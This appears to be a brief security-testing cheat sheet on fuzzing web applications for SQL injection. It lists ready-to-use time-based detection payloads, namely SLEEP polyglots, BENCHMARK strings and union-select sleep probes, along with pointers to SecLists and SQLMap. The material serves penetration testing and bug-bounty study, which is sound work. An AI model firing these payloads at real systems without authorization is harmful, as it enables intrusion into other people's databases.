Table of Contents

Tactical Fuzzing - SQLi

SQL Injection

Core Idea: Does the page look like it might need to call on stored data?

There exist some SQLi polyglots, i.e (Mathias Karlsson):

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Works in single quote context, works in double quote context, works in “straight into query” context!

You can also leverage the large database of fuzzlists from Seclists (https://github.com/danielmiessler/SecLists)

SQL Injection Observations

Blind is predominant, Error based is highly unlikely.

'%2Bbenchmark(3200,SHA1(1))%2B'
'+BENCHMARK(40000000,SHA1(1337))+'

SQLMap is king!

Lots of injection in web services!

Best SQL injection resources

Zseano/Drew SQLi Additions

Time-based detection payloads:

' or sleep(15) and 1=1#
' or sleep(15)#
' union select sleep(15),null#
'%2Bbenchmark(3200,SHA1(1))%2B'

Polyglot (jhaddix):

"SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/